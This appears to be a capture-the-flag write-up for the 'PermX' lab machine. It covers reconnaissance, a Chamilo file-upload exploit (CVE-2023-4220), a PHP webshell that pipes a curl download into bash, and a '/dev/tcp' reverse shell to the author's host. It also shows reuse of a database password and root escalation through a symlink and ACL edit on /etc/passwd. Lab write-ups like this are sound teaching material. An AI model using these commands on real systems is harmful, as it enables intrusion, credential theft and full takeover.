Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since the scan only returns two ports and SSH is usually not vulnerable, I’ll focus on HTTP.
HTTP
After browsing to the IP I’m directly redirected to http://permx.htb
, so I’ll add this domain to my /etc/hosts
file. After accessing the page with the domain name, I am greeted with some type of online learning platform. It does list some members of the staff and an email address permx@htb.com
. Neither the contact form nor the Join Now lead anywhere.
Since the webserver is accessible only with the virtual host, I try to enumerate possible virtual hosts on the target with ffuf
. The webserver returns the default page for any virtual host that does not exist, so I’ll add -fw 18
to filter any response with exactly 18 words because the size differs due to the value I’m trying.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://permx.htb -H "Host: FUZZ.permx.htb" -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 31ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 907ms]
After adding www.permx.htb
and lms.permx.htb
to my /etc/hosts
and checking the newfound pages, I can see that www
seems to be identically to the base domain, but lms
shows me a login page to Chamilo
, an E-Learning & Collaboration Software with the source code available on Github.
Trying a few default credentials is unsuccesful but a quick search online shows quite a lot of possible vulnerabilities for different versions. The /robots.txt
file lists a few directories and files that should not be crawled by a bot and one of those looks especially interesting to fingerprint the application: /documentation.
curl http://lms.permx.htb/robots.txt
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/wc/robots.html
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html
User-Agent: *
# Directories
Disallow: /app/
Disallow: /bin/
Disallow: /documentation/
Disallow: /home/
Disallow: /main/
Disallow: /plugin/
Disallow: /tests/
Disallow: /vendor/
# Files
Disallow: /license.txt
Disallow: /README.txt
Disallow: /whoisonline.php
Disallow: /whoisonlinesession.php
Checking out /documentation
shows the version 1.11
but clicking on Changelog
makes it clear that I’m dealing with 1.11.24
. With this version number find CVE-2023-4220 - an unauthenticated file upload that I can use to upload a webshell to the target. Conveniently the blog post also provides a PoC that I just need to modify slightly.
Execution
Shell as www-data
The proof-of-concept uploads a malicious PHP file with curl and then requests the uploaded file on the server. The PoC uses <?php system("id"); ?>
and I’ll replace the call to id with a curl command that retrieves a bash script from my own webserver and pipes the result to bash to get a reverse shell.
# Create local bash script and start a new webserver with `python3 -m http.server 80`
echo 'bash -i >& /dev/tcp/10.10.10.10/9000 0>&1' > shell
# Creation of the webshell
echo '<?php system("curl 10.10.10.10/shell|bash"); ?>' > rce.php
# Upload the file to the webserver
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
# Call the file
$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
Shell as mtz
Right away I do get a callback on my netcat listener nc -lnvp 9000
as www-data
. Considering the web application has to manage accounts somehow, I try to find some database / user credentials first. Chamilo
apparently keeps its configuration files in /var/www/chamilo/app/config
. The configuration.php
has the credentials for the database user: chamilo:03F6lY3uXAP2bkW8
.
cat /var/www/chamilo/app/config/configuration.php | grep -vE "^//" | grep -E .
<?php
/* For licensing terms, see /license.txt */
/**
* This file contains a list of variables that can be modified by the campus site's server administrator.
* Pay attention when changing these variables, some changes may cause Chamilo to stop working.
* If you changed some settings and want to restore them, please have a look at
* configuration.dist.php. That file is an exact copy of the config file at install time.
* Besides the $_configuration, a $_settings array also exists, that
* contains variables that can be changed and will not break the platform.
* These optional settings are defined in the database, now
* (table settings_current).
*/
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
$_configuration['db_manager_enabled'] = false;
--- SNIP ---
Before trying to find additional passwords or hashes within the database, I’ll try to check for password reusage on the provisioned users, root
and mtz
, since they are the only ones with a login shell configured.
grep -E "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
The password 03F6lY3uXAP2bkW8
works for mtz
and I can login via SSH. This also lets me access the first flag in his home folder.
Privilege Escalation
Considering I have the password for mtz
I check his sudo privileges first and apparently I can execute /opt/acl.sh
as anyone without providing a password.
sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
The script requires three parameters, a username, a set of permissions and a target. The target needs to to be a file and its path must contain /home/mtz and cannot contain ** so path traversal is out of the question. If all checks are successful it applies the ACL
to that file.
Info
An
ACL
is a Access Control List and specifies additional access right to a file (or directory) that extend the basic access for user, group and other1.
If an ACL is applied it’s indicated with the+
in the ls output.
-rw-rwxr—+ 1 root root 1880 Jul 6 21:18 /etc/passwd
In order to exploit the script, I first create a symlink to /etc/passwd
in the home directory of the user mtz and then apply the rwx
ACL to that file. This allows me to modify the passwd
file afterwards and remove the password from the root
account.
ln -s /etc/passwd /home/mtz/passwd
sudo /opt/acl.sh mtz rwx /home/mtz/passwd
ls -la /etc/passwd
-rw-rwxr--+ 1 root root 1880 Jul 6 21:18 /etc/passwd
By modifying the entry for root and removing the x
from root:x:0:0:root:/root:/bin/bash
I effectively remove the password and can escalate with su
.
Attack Path
flowchart TD subgraph "Execution" A(Chamilo) -->|Unauthenticated File Upload|B(Shell as www-data) end subgraph "Collection" B --> |Database Password|C(Valid Credentials) end subgraph CA["Credential Access"] C -->|Password Re-Use|D(Shell as mtz) end subgraph "Privilege Escalation" D -->|ACL modification on /etc/passwd|E(Shell as root) end